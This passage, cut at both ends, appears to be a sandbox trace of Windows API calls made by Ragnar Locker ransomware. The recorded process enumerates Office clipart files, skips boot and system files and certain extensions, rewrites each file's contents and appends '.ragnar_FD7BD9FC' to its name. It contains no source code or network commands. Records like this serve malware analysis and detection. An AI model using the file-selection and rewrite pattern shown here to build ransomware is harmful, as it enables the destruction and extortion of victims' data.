(lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200467.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200467.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200467.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.026] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66031e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x273e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200521.WMF", cAlternateFileName="")) returned 1 [0086.026] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.026] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0200521.WMF" | out: lpString1="J0200521.WMF") returned="J0200521.WMF" [0086.026] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF") returned=".WMF" [0086.026] lstrcmpiW (lpString1="J0200521.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.026] lstrcmpiW (lpString1="J0200521.WMF", lpString2="autorun.inf") returned 1 [0086.026] lstrcmpiW (lpString1="J0200521.WMF", lpString2="boot.ini") returned 1 [0086.026] lstrcmpiW (lpString1="J0200521.WMF", lpString2="bootfont.bin") returned 1 [0086.026] lstrcmpiW (lpString1="J0200521.WMF", lpString2="bootsect.bak") returned 1 [0086.026] lstrcmpiW (lpString1="J0200521.WMF", lpString2="bootmgr") returned 1 [0086.026] lstrcmpiW (lpString1="J0200521.WMF", lpString2="bootmgr.efi") returned 1 [0086.026] lstrcmpiW (lpString1="J0200521.WMF", lpString2="bootmgfw.efi") returned 1 [0086.026] lstrcmpiW (lpString1="J0200521.WMF", lpString2="desktop.ini") returned 1 [0086.026] lstrcmpiW (lpString1="J0200521.WMF", lpString2="iconcache.db") returned 1 [0086.026] lstrcmpiW (lpString1="J0200521.WMF", lpString2="ntldr") returned -1 [0086.026] lstrcmpiW (lpString1="J0200521.WMF", lpString2="ntuser.dat") returned -1 [0086.026] lstrcmpiW (lpString1="J0200521.WMF", lpString2="ntuser.dat.log") returned -1 [0086.026] lstrcmpiW (lpString1="J0200521.WMF", lpString2="ntuser.ini") returned -1 [0086.026] lstrcmpiW (lpString1="J0200521.WMF", lpString2="thumbs.db") returned -1 [0086.026] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.026] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.026] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.026] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.026] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.026] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.026] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.026] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200521.wmf")) returned 0x20 [0086.027] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200521.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.027] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10046) returned 1 [0086.027] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2735, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.027] GetProcessHeap () returned 0x580000 [0086.027] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.027] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.028] VirtualAlloc (lpAddress=0x0, dwSize=0x273e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.028] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.029] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.029] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x273e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x273e, lpOverlapped=0x0) returned 1 [0086.029] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.030] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x273e, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.030] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x273e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x273e, lpOverlapped=0x0) returned 1 [0086.030] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x273e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.030] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.030] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x273e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.030] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.030] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.030] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.030] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.030] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.030] GetProcessHeap () returned 0x580000 [0086.030] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.030] CloseHandle (hObject=0xf4) returned 1 [0086.031] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF" [0086.031] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF.ragnar_FD7BD9FC" [0086.031] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200521.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200521.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200521.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.031] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66057f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf36, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0200611.WMF", cAlternateFileName="")) returned 1 [0086.031] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.031] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0200611.WMF" | out: lpString1="J0200611.WMF") returned="J0200611.WMF" [0086.031] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF") returned=".WMF" [0086.031] lstrcmpiW (lpString1="J0200611.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.031] lstrcmpiW (lpString1="J0200611.WMF", lpString2="autorun.inf") returned 1 [0086.031] lstrcmpiW (lpString1="J0200611.WMF", lpString2="boot.ini") returned 1 [0086.031] lstrcmpiW (lpString1="J0200611.WMF", lpString2="bootfont.bin") returned 1 [0086.031] lstrcmpiW (lpString1="J0200611.WMF", lpString2="bootsect.bak") returned 1 [0086.031] lstrcmpiW (lpString1="J0200611.WMF", lpString2="bootmgr") returned 1 [0086.032] lstrcmpiW (lpString1="J0200611.WMF", lpString2="bootmgr.efi") returned 1 [0086.032] lstrcmpiW (lpString1="J0200611.WMF", lpString2="bootmgfw.efi") returned 1 [0086.032] lstrcmpiW (lpString1="J0200611.WMF", lpString2="desktop.ini") returned 1 [0086.032] lstrcmpiW (lpString1="J0200611.WMF", lpString2="iconcache.db") returned 1 [0086.032] lstrcmpiW (lpString1="J0200611.WMF", lpString2="ntldr") returned -1 [0086.032] lstrcmpiW (lpString1="J0200611.WMF", lpString2="ntuser.dat") returned -1 [0086.032] lstrcmpiW (lpString1="J0200611.WMF", lpString2="ntuser.dat.log") returned -1 [0086.032] lstrcmpiW (lpString1="J0200611.WMF", lpString2="ntuser.ini") returned -1 [0086.032] lstrcmpiW (lpString1="J0200611.WMF", lpString2="thumbs.db") returned -1 [0086.032] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.032] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.032] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.032] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.032] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.032] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.032] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.032] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200611.wmf")) returned 0x20 [0086.032] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200611.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.032] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3894) returned 1 [0086.032] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xf2d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.033] GetProcessHeap () returned 0x580000 [0086.033] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.033] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.034] VirtualAlloc (lpAddress=0x0, dwSize=0xf36, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.034] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.034] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.034] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xf36, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xf36, lpOverlapped=0x0) returned 1 [0086.034] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.034] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xf36, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.035] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xf36, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xf36, lpOverlapped=0x0) returned 1 [0086.035] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xf36, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.035] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.035] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xf36, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.035] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.035] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.035] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.035] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.035] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.035] GetProcessHeap () returned 0x580000 [0086.035] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.035] CloseHandle (hObject=0xf4) returned 1 [0086.035] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF" [0086.036] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF.ragnar_FD7BD9FC" [0086.036] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200611.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200611.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200611.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.036] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66057f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa50e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0202045.JPG", cAlternateFileName="")) returned 1 [0086.036] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.036] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0202045.JPG" | out: lpString1="J0202045.JPG") returned="J0202045.JPG" [0086.036] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG") returned=".JPG" [0086.036] lstrcmpiW (lpString1="J0202045.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.036] lstrcmpiW (lpString1="J0202045.JPG", lpString2="autorun.inf") returned 1 [0086.036] lstrcmpiW (lpString1="J0202045.JPG", lpString2="boot.ini") returned 1 [0086.036] lstrcmpiW (lpString1="J0202045.JPG", lpString2="bootfont.bin") returned 1 [0086.036] lstrcmpiW (lpString1="J0202045.JPG", lpString2="bootsect.bak") returned 1 [0086.036] lstrcmpiW (lpString1="J0202045.JPG", lpString2="bootmgr") returned 1 [0086.036] lstrcmpiW (lpString1="J0202045.JPG", lpString2="bootmgr.efi") returned 1 [0086.036] lstrcmpiW (lpString1="J0202045.JPG", lpString2="bootmgfw.efi") returned 1 [0086.036] lstrcmpiW (lpString1="J0202045.JPG", lpString2="desktop.ini") returned 1 [0086.036] lstrcmpiW (lpString1="J0202045.JPG", lpString2="iconcache.db") returned 1 [0086.037] lstrcmpiW (lpString1="J0202045.JPG", lpString2="ntldr") returned -1 [0086.037] lstrcmpiW (lpString1="J0202045.JPG", lpString2="ntuser.dat") returned -1 [0086.037] lstrcmpiW (lpString1="J0202045.JPG", lpString2="ntuser.dat.log") returned -1 [0086.037] lstrcmpiW (lpString1="J0202045.JPG", lpString2="ntuser.ini") returned -1 [0086.037] lstrcmpiW (lpString1="J0202045.JPG", lpString2="thumbs.db") returned -1 [0086.037] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0086.037] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0086.037] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0086.037] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0086.037] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0086.037] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0086.037] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0086.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0202045.jpg")) returned 0x20 [0086.037] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0202045.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.037] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=42254) returned 1 [0086.037] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa505, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.037] GetProcessHeap () returned 0x580000 [0086.037] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.037] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.039] VirtualAlloc (lpAddress=0x0, dwSize=0xa50e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.039] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.039] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.039] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa50e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xa50e, lpOverlapped=0x0) returned 1 [0086.040] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.041] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa50e, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.041] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa50e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xa50e, lpOverlapped=0x0) returned 1 [0086.041] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa50e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.041] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.041] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xa50e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.041] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.042] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.042] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.042] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.042] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.042] GetProcessHeap () returned 0x580000 [0086.042] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.042] CloseHandle (hObject=0xf4) returned 1 [0086.042] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG" [0086.042] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG.ragnar_FD7BD9FC" [0086.042] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0202045.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0202045.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0202045.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.043] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60b62300, ftCreationTime.dwHighDateTime=0x1be560f, ftLastAccessTime.dwLowDateTime=0x56583130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60b62300, ftLastWriteTime.dwHighDateTime=0x1be560f, nFileSizeHigh=0x0, nFileSizeLow=0x6e74, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0211981.WMF", cAlternateFileName="")) returned 1 [0086.043] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft 